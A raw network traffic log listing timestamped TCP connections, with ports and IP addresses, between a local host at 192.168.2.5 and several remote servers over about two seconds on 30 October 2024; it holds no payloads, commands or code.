Oct 30, 2024 23:11:37.330194950 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.334199905 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.373223066 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.373228073 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:37.382618904 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.382692099 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.382714033 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.386714935 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.386764050 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.386779070 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.387326956 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.387402058 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.387411118 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.395617008 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.395745039 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.395757914 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.404709101 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.404766083 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.404778004 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.419138908 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.422250986 CET	49857	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.422630072 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:37.422698975 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:37.422764063 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:37.422847986 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.422899961 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.422969103 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:37.424063921 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.424091101 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.424240112 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:37.424251080 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.424252033 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.424777031 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.424791098 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.431888103 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.431962013 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.432075977 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.432137012 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.432149887 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.440031052 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.440123081 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.447344065 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.447402954 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.447419882 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.450948000 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.450963974 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.451745987 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.452243090 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.452296972 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.452397108 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.454205036 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.454235077 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.454261065 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.454277039 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.454368114 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.457791090 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.458359957 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.458381891 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.459078074 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.459081888 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.459348917 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.459363937 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.459904909 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.459975004 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.460052967 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.460180044 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.460192919 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.467335939 CET	443	49857	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.506534100 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.506889105 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.506934881 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.506953001 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.507071972 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.507174015 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.507181883 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.515487909 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.515517950 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.515542984 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.515557051 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.515598059 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.515707970 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.515717983 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.515790939 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.577599049 CET	443	49857	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.577716112 CET	443	49857	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.577722073 CET	49857	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.577754974 CET	49857	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.812165976 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.838959932 CET	49867	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.838979006 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.839039087 CET	49867	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.839310884 CET	49868	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.839344025 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.839432001 CET	49868	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.839623928 CET	49867	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.839638948 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.839739084 CET	49868	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.839752913 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.878462076 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.878484964 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.885092020 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.885112047 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.885499001 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.885600090 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:37.885646105 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:37.886961937 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:37.887614012 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:37.892749071 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:37.893373966 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:37.893527031 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:37.923096895 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:37.923149109 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:37.928904057 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:37.928926945 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:37.929150105 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:37.929160118 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:38.006511927 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.007128954 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.007145882 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.007678986 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.007688046 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.082238913 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.082660913 CET	49863	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.082678080 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.083348989 CET	49863	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.083353996 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.084263086 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.084485054 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.084656000 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.084682941 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.085267067 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.085273027 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.085696936 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.085715055 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.086972952 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.086977959 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.087372065 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.087991953 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.088005066 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.088538885 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.088543892 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.145477057 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.145556927 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.145622015 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.145636082 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.145725012 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.146006107 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.146018982 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.146256924 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.146262884 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.149135113 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.149164915 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.149231911 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.149408102 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.149427891 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.182353973 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.182640076 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.182648897 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.183725119 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.183782101 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.184940100 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.185002089 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.185362101 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.185368061 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.212843895 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.213182926 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.213304996 CET	49863	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.213383913 CET	49863	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.213383913 CET	49863	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.213399887 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.213408947 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.215544939 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.215569973 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.215640068 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.215650082 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.215692043 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.215771914 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.216852903 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.216885090 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.217117071 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.217117071 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.217123985 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.217124939 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.217130899 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.217781067 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.217888117 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.217967987 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.218574047 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.218592882 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.218858004 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.218858004 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.218871117 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.218879938 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.219706059 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.219724894 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.219775915 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.219932079 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.219944954 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.220241070 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.220274925 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.220366955 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.220387936 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.220427990 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.220544100 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.220558882 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.220624924 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.220629930 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.221193075 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.221214056 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.221406937 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.221702099 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.221719027 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.222954988 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.222963095 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.223032951 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.223490953 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.223501921 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.283518076 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:38.283554077 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:38.283792019 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:38.283979893 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:38.283993959 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:38.327769995 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:38.327804089 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:38.327974081 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:38.328213930 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:38.328237057 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:38.373119116 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.461127043 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.461553097 CET	49868	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:38.461570024 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.461930990 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.463953018 CET	49868	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:38.464040995 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.483845949 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.484559059 CET	49867	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:38.484575987 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.484906912 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.485260010 CET	49867	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:38.485313892 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:38.532757998 CET	49868	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:38.532768965 CET	49867	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:38.709928036 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.709944963 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.709953070 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.709970951 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.709985971 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.709994078 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.710000992 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.710011005 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.710037947 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.710062027 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.832412958 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.832422972 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.832439899 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.832447052 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.832463026 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.832479954 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.832564116 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.832564116 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.902013063 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.902457952 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.902478933 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.903024912 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.903031111 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.954600096 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.954611063 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.954651117 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.954675913 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.954678059 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.954689980 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.954742908 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.960726976 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:38.961034060 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:38.961051941 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:38.962169886 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:38.962246895 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:38.963170052 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.963617086 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:38.963620901 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.963685036 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:38.963826895 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.963968039 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:38.963977098 CET	443	49877	23.47.194.88	192.168.2.5
Oct 30, 2024 23:11:38.964674950 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.964690924 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.965253115 CET	49874	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.965259075 CET	443	49874	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.965504885 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.965519905 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.965967894 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.967576027 CET	49872	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.967581034 CET	443	49872	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.967983007 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.967999935 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.968384027 CET	49873	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.968388081 CET	443	49873	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.968894958 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.968909025 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:38.969291925 CET	49875	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:38.969295979 CET	443	49875	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.025887966 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.026115894 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.026130915 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.026588917 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.026915073 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.026992083 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.027147055 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:39.028323889 CET	49877	443	192.168.2.5	23.47.194.88
Oct 30, 2024 23:11:39.037400961 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.037566900 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.037826061 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.037946939 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.037966013 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.037976980 CET	49871	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.037981987 CET	443	49871	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.041081905 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.041102886 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.041341066 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.041491985 CET	49878	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.041503906 CET	443	49878	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.047137976 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.047173023 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.047379971 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.047408104 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.047415972 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.047475100 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.047878027 CET	49880	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.047892094 CET	443	49880	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.048005104 CET	49879	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:39.048024893 CET	443	49879	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:39.071337938 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:39.071561098 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.071569920 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.071603060 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.071645021 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.071659088 CET	443	49866	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:39.071681023 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.071705103 CET	49866	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:39.072371960 CET	443	49866	13.107.246.45	192.168.2.5
